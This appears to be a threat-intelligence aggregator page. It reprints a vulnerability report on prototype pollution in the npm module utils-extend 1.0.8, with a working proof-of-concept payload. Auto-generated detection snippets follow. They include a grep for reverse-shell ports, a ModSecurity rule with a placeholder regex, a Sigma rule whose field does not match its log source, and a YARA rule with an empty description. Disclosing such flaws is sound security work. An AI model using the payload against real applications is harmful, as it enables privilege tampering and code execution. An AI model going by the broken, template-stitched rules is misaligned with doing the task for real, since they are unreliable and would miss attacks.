Node.js third-party modules: [utils-extend] Prototype pollution

NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report! I would like to report prototype polution in utils-extend It allows an attacker to modify the prototype of a base object which can vary in severity depending on the implementation (DoS, access to sensitive data, RCE). Module module name: utils-extend version: 1.0.8 npm page: https://www.npmjs.com/package/utils-extend Module Description Extend nodejs util api, and it is light weight and simple. Module Stats [1] weekly downloads : 129,956 Vulnerability Vulnerability Description Steps To Reproduce: npm install --save utils-extend create file index.js with content : javascript const { extend } = require('utils-extend'); const payload = '{"__proto__":{"isAdmin":true}}' const emptyObject = {} const pollutionObject = JSON.parse(payload); extend({}, pollutionObject) console.log(emptyObject.isAdmin) // true run node index.js => true Wrap up Select Y or N for the following statements: I contacted the maintainer to let them know: [Y/N] : N I opened an issue in the related repository: [Y/N] : N Impact Can result in: dos, access to restricted data, rce (depends on...

SecRule REQUEST_URI "@rx ..." "id:1001,phase:1,deny,status:403"

find /var/www -type f -name "*.php" -mmin -120

ss -tunp | grep -E ":(4444|1337|8080|9001)"

apt update && apt --only-upgrade install <pkg>

title: Detect Exploitation - Node.js third-party modules: [utils-extend] Prototype pollution
id: 8cfa1a26-87cd-47fc-9d7f-5ce90381a527
status: experimental
description: Automatisch generierte SIEM-Erkennungsregel basierend auf CTI Intelligence
references:
  - https://tsecurity.de/
author: iShareStuff CTI Automated Detection Engine
date: 2026-09-24
logsource:
  category: network_connection
  product: any
detection:
  selection:
      CommandLine|contains:
        - 'exploit'
  condition: selection
falsepositives:
  - Legitime administrative Zugriffe oder Penetrationstests
level: high
tags:
  - attack.initial_access
  - attack.t1190

rule CTI_Threat_Indicator {
    meta:
        author = "iShareStuff CTI Automated Detection Engine"
        date = "2026-09-24"
        description = "YARA Signature for "
    strings:
        $str = "Node.js third-party modules: [" ascii wide
    condition:
        any of them
}